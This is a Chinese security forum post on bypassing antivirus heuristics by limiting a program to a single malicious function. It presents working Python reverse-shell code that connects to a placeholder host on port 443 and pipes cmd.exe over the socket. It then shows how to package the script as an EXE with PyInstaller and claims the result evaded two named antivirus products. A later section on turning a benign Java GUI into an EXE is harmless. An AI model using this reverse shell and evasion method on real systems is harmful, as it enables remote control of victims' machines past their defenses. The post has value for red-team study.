分享者才是学习中最大的受益者!
前言
防病毒软件供应商需要处理的中心问题之一是误报
防病毒软件不应该向用户报告发生的每一个微小的、无关紧要的事件
如果是这样,用户可能被迫放弃该防病毒软件,并切换到另一个在正常使用期间创建更少中断的防病毒软件。
为了应对假阳性检测,防病毒厂商提高了他们的检测率
针对单个恶意功能
例如,如果一个文件没有在静态和动态引擎中签名,启发式引擎将运行,并开始使用各种参数自行计算该文件是否是恶意的
例如,防病毒软件将尝试确定文件是否正在打开套接字、 执行下放到持久性文件夹以及从远程服务器接收命令
例如,该文件被检测为恶意文件,杀毒软件将阻止其运行,这一比率可能为70%。 要利用这种情况执行防病毒绕过
我们需要问一个重要问题: 当恶意文件执行单个恶意功能时,防病毒软件会发出警报吗? 因此,它取决于功能。如果我们谈论的功能不一定是恶意的,防病毒软件会检测到该文件包含恶意功能,但得分不会高到向用户发出警报或阻止恶意文件运行, 因此防病毒软件会允许该文件运行
关键就在于: 启发式引擎的这种行为正是我们可以利用的绕过杀毒软件
so,如果只有一个条件为真,文件的得分就会增加,防病毒软件就会检测到该文件是恶意的并对其进行签名
但如果得分较低,防病毒程序将不会发出恶意软件警报,即使它包含恶意功能
python代码编译可执行文件
demo
使用一个连接到远程命令和控制服务器的Python程序
import os, socket, sys
import threading as trd
import subprocess as sb
def sock2proc(s, p):
while True:
p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def proc2sock(s, p):
Antivirus bypass using a single malicious functionality 165
while True:
s.send(p.stdout.read(1).encode())
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
s.connect(("x.x.x.x", 443))
break
except:
pass
p=sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.
STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()
try:
p.wait()
except:
s.close()
sys.exit(0)
安装pip
python.exe -m pip install --upgrade pip
安装pyinstaller模块
使用pip安装:
pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
生成exe
使用pyinstaller
即可
pyinstaller --onefile python.py
本地测试 用Netcat监听
笔者测试 火绒和360都是过的
执行一些危险的命令也是可以的
题外话
Java编译可执行文件
demo
以一个简单的Java Gui程序进行演示
import java.util.Scanner;
import javax.swing.JOptionPane;
public class Test1{
public static void main(String[] args){
while(true){
System.out.print("Please input:");
Scanner s=new Scanner(System.in);
String str=s.nextLine();
if("ByeBye".equals(str)){
System.out.print("The process is over");
System.exit(0);
}else{
JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE);
}
}
}
}
Java->JAR
编译并执行
javac .\Test1.java
java Test1
成功弹窗
JAVA 文件转换为 JAR 文件
jar cvf Test1.jar Test1.class
JAR 编辑 MANIFEST.MF
运行jar 文件
java -jar Test1.jar
报错:Test1.jar
中没有主清单属性
原因是因为:我们创建的 jar 文件创建了一个默认的 manifest.mf
文件,该文件不知道main 方法所在的位置
从 jar 文件外部将位于类的 main 方法添加到清单文件中
创建一个名为manifest.txt
的文本文件
进行添加Main-Clas
Main-Class: Test1
不要尝试手动将其添加到 JAR 文件中的 MANIFEST 文件中,是行不通的
在MANIFEST.MF
文件中添加位于类的主要方法
jar cmf manifest.txt Test1.jar Test1.class
检查 JAR 文件是否可用
java -jar .\Test1.jar
JAR->EXE
使用Launch4j
下载链接:https://sourceforge.net/projects/launch4j/files/
启动Launch4j
选择Jar路径 和输出exe的路径
选择JRE的paths和version
与自己电脑相匹配
选择.xml 文件的保存位置
总结
技术不是一个单一的,即使我们使用特定的技术设法通过静态引擎
但是 肯定不是持久的
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/584
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!